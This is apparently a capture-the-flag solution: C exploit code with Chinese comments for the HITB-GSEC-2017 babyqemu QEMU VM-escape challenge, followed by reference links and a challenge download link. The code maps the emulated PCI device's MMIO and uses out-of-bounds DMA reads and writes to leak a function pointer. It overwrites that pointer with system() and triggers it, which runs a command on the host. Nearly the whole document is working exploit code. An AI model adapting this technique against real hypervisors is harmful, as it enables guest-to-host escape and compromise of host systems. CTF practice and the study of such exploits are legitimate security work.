#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAP_SIZE 4096UL#define MAP_MASK (MAP_SIZE - 1) #define DMA_BASE 0x40000 #define PAGE_SHIFT 12#define PAGE_SIZE (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN ((1ull << 55) - 1) char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; unsigned char* tmpbuf;uint64_t tmpbuf_phys_addr;unsigned char* mmio_base; unsigned char* getMMIOBase(){ int fd; if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) { perror("open pci device"); exit(-1); } mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(mmio_base == (void *) -1) { perror("mmap"); exit(-1); } return mmio_base;} // 獲取頁內偏移uint32_t page_offset(uint32_t addr){ // addr & 0xfff return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){ uint64_t pme, gfn; size_t offset; int fd; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } // printf("pfn_item_offset : %p", (uintptr_t)addr >> 9); offset = ((uintptr_t)addr >> 9) & ~7; ////下面是網上其他人的代碼,只是為了理解上面的代碼 //一開始除以 0x1000 (getpagesize=0x1000,4k對齊,而且本來低12位就是頁內索引,需要去掉),即除以2**12, 這就獲取了頁號了, //pagemap中一個地址64位,即8字節,也即sizeof(uint64_t),所以有了頁號后,我們需要乘以8去找到對應的偏移從而獲得對應的物理地址 //最終 vir/2^12 * 8 = (vir / 2^9) & ~7 //這跟上面的右移9正好對應,但是為什么要 & ~7 ,因為你 vir >> 12 << 3 , 跟vir >> 9 是有區別的,vir >> 12 << 3低3位肯定是0,所以通過& ~7將低3位置0 // int page_size=getpagesize(); // unsigned long vir_page_idx = vir/page_size; // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t); lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); // 確保頁面存在——page is present. if (!(pme & PFN_PRESENT)) return -1; // physical frame number gfn = pme & PFN_PFN; return gfn;} uint64_t gva_to_gpa(void *addr){ uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} void mmio_write(uint64_t addr, uint64_t value){ *((uint64_t*)(mmio_base + addr)) = value;} uint64_t mmio_read(uint64_t addr){ return *((uint64_t*)(mmio_base + addr));} void set_cnt(uint64_t val){ mmio_write(144, val);} void set_src(uint64_t val){ mmio_write(128, val);} void set_dst(uint64_t val){ mmio_write(136, val);} void start_dma_timer(uint64_t val){ mmio_write(152, val);} void dma_read(uint64_t offset, uint64_t cnt){ // 設置dma_buf的索引 set_src(DMA_BASE + offset); // 設置讀取后要寫入的物理地址 set_dst(tmpbuf_phys_addr); // 設置讀取的大小 set_cnt(cnt); // 觸發hitb_dma_timer start_dma_timer(1|2); // 等待上面的執行完 sleep(1);} void dma_write(uint64_t offset, char* buf, uint64_t cnt){ // 將我們要寫的內容先復制到tmpbuf memcpy(tmpbuf, buf, cnt); //設置物理地址(要從這讀取寫到dma_buf[opaque->dma.dst-0x40000]) set_src(tmpbuf_phys_addr); // 設置dma_buf的索引 set_dst(DMA_BASE + offset); // 設置寫入大小 set_cnt(cnt); // 觸發hitb_dma_timer start_dma_timer(1); // 等待上面的執行完 sleep(1);} void dma_write_qword(uint64_t offset, uint64_t val){ dma_write(offset, (char *)&val, 8);} void dma_enc_read(uint64_t offset, uint64_t cnt){ // 設置dma_buf的索引 set_src(DMA_BASE + offset); // 設置讀取后要寫入的物理地址 set_dst(tmpbuf_phys_addr); // 設置讀取的大小 set_cnt(cnt); // 觸發hitb_dma_timer start_dma_timer(1|2|4); // 等待上面的執行完 sleep(1);} int main(int argc, char const *argv[]){ getMMIOBase(); printf("mmio_base Resource0Base: %p", mmio_base); tmpbuf = malloc(0x1000); tmpbuf_phys_addr = gva_to_gpa(tmpbuf); printf("gva_to_gpa tmpbuf_phys_addr %p", (void*)tmpbuf_phys_addr); printf("tmpbuf: %p", tmpbuf); printf("&tmpbuf: %p", &tmpbuf); // 將enc函數指針寫到tmpbuf_phys_addr,之后通過tmpbuf讀出即可 dma_read(4096, 8); uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf); uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0; uint64_t system_addr = binary_base_addr + 0x1FDB18; printf("hitb_enc_addr: 0x%lx", hitb_enc_addr); printf("binary_base_addr: 0x%lx", binary_base_addr); printf("system_addr: 0x%lx", system_addr); // 覆蓋enc函數指針為system地址 dma_write_qword(4096, system_addr); char* command = "cat flag"; dma_write(0x200, command, strlen(command)); // 觸發hitb_dma_timer中的enc函數,從而調用syetem dma_enc_read(0x200, 666); return 0;}
參考鏈接:
https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
https://www.anquanke.com/post/id/254906#h3-5
https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/
https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/
題目下載地址
鏈接: https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ
提取碼: eeee